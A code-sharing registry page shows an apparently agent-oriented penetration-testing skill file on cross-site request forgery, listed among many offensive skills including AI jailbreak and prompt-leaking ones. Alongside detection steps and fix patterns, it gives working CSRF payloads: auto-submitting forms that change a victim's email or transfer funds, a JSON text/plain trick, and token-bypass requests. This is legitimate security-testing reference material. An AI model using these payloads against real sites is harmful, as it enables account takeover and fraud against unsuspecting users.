csrf
Skill22 starsChanged 6 months agoMITView on GitHub
Cross-Site Request Forgery (CSRF) tricks authenticated users into submitting forged requests to a target application by exploiting browser automatic cookie attachment. Detect via missing or predictable CSRF tokens in state-changing requests (POST/PUT/DELETE), absent `SameSite` cookie attributes, and JSON endpoints accepting `text/plain` Content-Type. Test using HTML auto-submitting forms, XHR requests, and CORS-enabled fetch. Tools: Burp Suite (Generate CSRF PoC), OWASP ZAP.
5 other projects use a version of this.
Adopted by
Most recently taken up by
- conjure-3301/skillstheir own version, first seen Aug 17, 2026
- thejefflarson/soundchecktheir own version, first seen Jul 31, 2026
- KaanBicaklar/mona-sast-skillstheir own version, first seen Jul 9, 2026
- langbyyi/websec-skillstheir own version, first seen Jun 12, 2026
- blacklanternsecurity/red-runtheir own version, first seen Apr 1, 2026
Other versions5 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 5
- blacklanternsecurity/red-run★ 285same name
- thejefflarson/soundcheck★ 20same name
- langbyyi/websec-skills★ 4same name
- KaanBicaklar/mona-sast-skills★ 2same name
- conjure-3301/skills★ 0same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository353 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- bb-hugeSkill
- 2fa-multi-factor-bypassSkill
- 401-403-bypass-techniquesSkill
- Access Control — Complete Deep DiveSkill
- active-directory-acl-abuseSkill
- active-directory-asreproastingSkill
- active-directory-certificate-servicesSkill
- active-directory-dcsync-attackSkill
- active-directory-full-attack-chainSkill
- active-directory-golden-ticketSkill
- active-directory-kerberoastingSkill
- active-directory-kerberos-attacksSkill
- ad-asreproast-attackSkill
- ad-assessmentSkill
- ad-cs-esc1-abuseSkill
- ad-dcsync-attackSkill
- ad-pass-the-hashSkill
- advanced-sql-injection-sqliSkill
- ai-agent-tool-abuse-and-privilege-escalationSkill
- ai-data-extraction-via-ssrfSkill
- ai-data-poisoning-model-skewingSkill
- ai-data-poisoningSkill
- ai-jailbreak-obfuscation-ciphersSkill
- ai-jailbreak-prompt-injectionSkill
- ai-jailbreak-system-promptsSkill
- aikido-triageSkill
- ai-ml-securitySkill
- ai-pair-hunting-with-claudeSkill
- ai-prompt-leakingSkill
- ai-redteamSkill
- ai-report-writing-guardrailsSkill
- amend-skillSkill
- amsi-bypassSkill
- analyze-cveSkill
- android-apk-reverse-engineeringSkill
- android-pentesting-tricksSkill
- anti-debugging-techniquesSkill
- api-auth-and-jwt-abuseSkill
- api-authentication-bypassSkill
- api-authorization-and-bolaSkill
- api-enumeration-fuzzing-discoverySkill
- api-mass-assignment-exploitationSkill
- api-rate-limit-bypass-techniquesSkill
- api-recon-and-docsSkill
- api-secSkill
- api-securitySkill
- API Testing — Deep DiveSkill
- arbitrary-write-to-rceSkill
- authbypass-authentication-flawsSkill
- auth-bypassSkill
- Authentication — Complete Deep DiveSkill
- auth-secSkill
- authz-bypassSkill
- av-edr-evasion-techniquesSkill
- aws-cloud-penetration-testingSkill
- aws-cognito-abuseSkill
- aws-iam-privilege-escalationSkill
- aws-imdsv2-ssrf-bypassSkill
- aws-metadata-ssrf-exploitationSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
12 rules. 0 are common, 6 are distinctive, and 6 are very specific to this project.
0
Common
Most of the 4 edited versions we read keep these.
6
Distinctive
This author's own choices. Worth a look.
6
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 30
Check for CSRF token in request parameters or headers (X-CSRF-Token, _token, csrf_token).
- Distinctive: line 31
If token is present: test whether it is validated (remove it, use an invalid value, reuse an old token, use another user's token).
- Distinctive: line 32
If no token: confirm the action is exploitable by crafting a PoC HTML page.
- Very specific: line 33
Check SameSite attribute of session cookie.
- Very specific: line 34
Test JSON endpoints: try submitting the same payload as text/plain or application/x-www-form-urlencoded.
- Very specific: line 35
Test whether Referer header is validated and if it can be stripped or spoofed.
- Distinctive: line 36
Use Burp's "Generate CSRF PoC" feature (right-click on request in Proxy history).
- Distinctive: line 92
Remove CSRF token entirely (some servers skip validation when token is absent)
- Distinctive: line 95
Use attacker's own valid CSRF token for victim's request (if not tied to session)
- Distinctive: line 123
Read-only GET endpoints that appear to change state but actually do not persist changes
- Very specific: line 127
Use SameSite=Strict for session cookies.
- Very specific: line 131
Use custom request headers (e.g., X-Requested-With) which cannot be set by simple cross-origin forms
“Common” is measured: kept by at least 6 in 10 of the 4 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Cross-Site Request Forgery (CSRF)
What Is Broken and Why
CSRF exploits the browser's automatic inclusion of credentials (cookies, HTTP Basic auth) with every request to a given origin. An attacker-controlled page on a different origin can cause the victim's browser to send authenticated requests to the target application. Since the browser automatically attaches the session cookie, the server cannot distinguish the forged request from a legitimate one — unless it validates a secret token that only the legitimate page would know. Absent CSRF tokens, SameSite=Strict/Lax cookie attributes, or origin validation, any state-changing operation is potentially exploitable.
Key Signals
- State-changing requests (account settings, password change, fund transfer, email change) without a CSRF token
- CSRF token present but predictable, static, or not validated server-side
- Cookie lacks
SameSite=StrictorSameSite=Laxattribute Content-Type: application/jsonendpoints that also accepttext/plain(allows form-based CSRF)- API endpoints not verifying
OriginorRefererheaders - WebSocket handshakes without origin validation
Methodology
- Identify all state-changing requests (POST, PUT, PATCH, DELETE) in the application.
- Check for CSRF token in request parameters or headers (
X-CSRF-Token,_token,csrf_token). - If token is present: test whether it is validated (remove it, use an invalid value, reuse an old token, use another user's token).
- If no token: confirm the action is exploitable by crafting a PoC HTML page.
- Check
SameSiteattribute of session cookie;Laxprovides partial protection (GET only, top-level nav). - Test JSON endpoints: try submitting the same payload as
text/plainorapplication/x-www-form-urlencoded. - Test whether
Refererheader is validated and if it can be stripped or spoofed. - Use Burp's "Generate CSRF PoC" feature (right-click on request in Proxy history).
Payloads & Tools
<!-- GET-based CSRF (auto-loads on page visit) -->
<img src="TARGET/action?param=value" style="display:none">
<link rel="stylesheet" href="TARGET/action?param=value">
<!-- POST-based CSRF (auto-submitting form) -->
<html>
<body onload="document.forms[0].submit()">
<form action="TARGET/change-email" method="POST">
<input type="hidden" name="email" value="attacker@controlled.com">
</form>
</body>
</html>
<!-- POST-based with multiple fields -->
<form action="TARGET/transfer" method="POST" id="csrfForm">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="destination" value="ATTACKER-ACCOUNT">
<input type="hidden" name="currency" value="USD">
</form>
<script>document.getElementById('csrfForm').submit();</script>
<!-- JSON CSRF via text/plain Content-Type -->
<form action="TARGET/api/update" method="POST" enctype="text/plain">
<input name='{"email":"attacker@controlled.com","x":"' value='"}'>
</form>
<!-- Results in body: {"email":"attacker@controlled.com","x":"="} -->
<!-- CSRF token bypass — test without token -->
POST /change-password HTTP/1.1
Host: TARGET
Cookie: session=TOKEN
new_password=attacker123
<!-- CSRF token bypass — use invalid token -->
POST /change-password HTTP/1.1
csrf_token=AAAAAAAAAAAAAAAA
<!-- CSRF via XHR (requires CORS misconfiguration) -->
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'TARGET/change-email', true);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('email=attacker@controlled.com');
</script>
<!-- Burp Suite — Generate CSRF PoC -->
<!-- Right-click on request in Proxy -> Engagement tools -> Generate CSRF PoC -->Bypass Techniques
- Remove CSRF token entirely (some servers skip validation when token is absent)
- Submit empty/null CSRF token value
- Reuse a valid token from another session (if tokens are not per-user)
- Use attacker's own valid CSRF token for victim's request (if not tied to session)
- Strip Referer header via
<meta name="referrer" content="no-referrer">or HTTPS → HTTP downgrade - For
SameSite=Lax: exploit GET-based state changes; or use top-level navigation (window.open) - JSON endpoint: attempt
Content-Type: text/plainwith JSON body shaped asname=valueform data - Subdomain takeover → subdomain can set/read parent domain cookies (bypasses SameSite in some configs)
- Flash-based CSRF (legacy): Flash objects bypass SameSite for cross-origin requests in old browsers
Exploitation Scenarios
Scenario 1 — Account Email Takeover
Setup: /account/change-email accepts POST with email parameter; no CSRF token; session cookie lacks SameSite.
Trigger: Victim visits attacker page containing auto-submitting form POSTing to the email change endpoint.
Impact: Victim's email changed to attacker's address; attacker uses "forgot password" to gain full account control.
Scenario 2 — Fund Transfer via JSON Endpoint
Setup: Banking app's transfer API accepts JSON but does not enforce Content-Type (accepts text/plain).
Trigger: Attacker hosts page with form using enctype="text/plain" where input name contains valid JSON prefix.
Impact: Victim unknowingly authorizes fund transfer; attacker receives funds.
Scenario 3 — Admin Action via GET Request
Setup: Admin panel uses GET requests for user deletion: /admin/delete-user?id=123; no CSRF protection.
Trigger: Attacker embeds <img src="TARGET/admin/delete-user?id=456"> on a page the admin visits.
Impact: Target user account deleted when admin loads attacker's page.
False Positives
- CSRF token present and properly validated server-side (even if not obvious from request format)
SameSite=Strictcookie attribute preventing cross-site requests in all modern browsers- Application accepting requests only with
Content-Type: application/json(form-based CSRF blocked) OriginorRefererheader properly validated server-side before processing- Read-only GET endpoints that appear to change state but actually do not persist changes
Fix Patterns
- Implement synchronizer token pattern: per-session or per-request CSRF tokens in hidden form fields and custom headers
- Use
SameSite=Strictfor session cookies;SameSite=Laxprovides partial protection for top-level navigation - Validate
OriginandRefererheaders for state-changing requests; reject mismatches - Double-submit cookie pattern: send token in cookie and request body; verify they match
- For APIs: require
Content-Type: application/jsonand rejecttext/plain; verify with CORS policy - Use custom request headers (e.g.,
X-Requested-With) which cannot be set by simple cross-origin forms - Framework built-in CSRF protection: Django
{% csrf_token %}, Laravel@csrf, Railsauthenticity_token
Related Skills
[[cors-misconfig]] enables reading CSRF tokens cross-origin, completely undermining the synchronizer token pattern — check CORS before concluding CSRF is mitigated. [[xss-stored]] or [[xss-reflected]] on the same origin bypasses SameSite cookies and can directly forge CSRF-protected requests since the script runs in the target origin. [[clickjacking]] is a user-tricked CSRF variant where the victim is manipulated into clicking a hidden button rather than being silently redirected. CSRF on a login form can be used to plant a known session and enable [[session-fixation]].
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

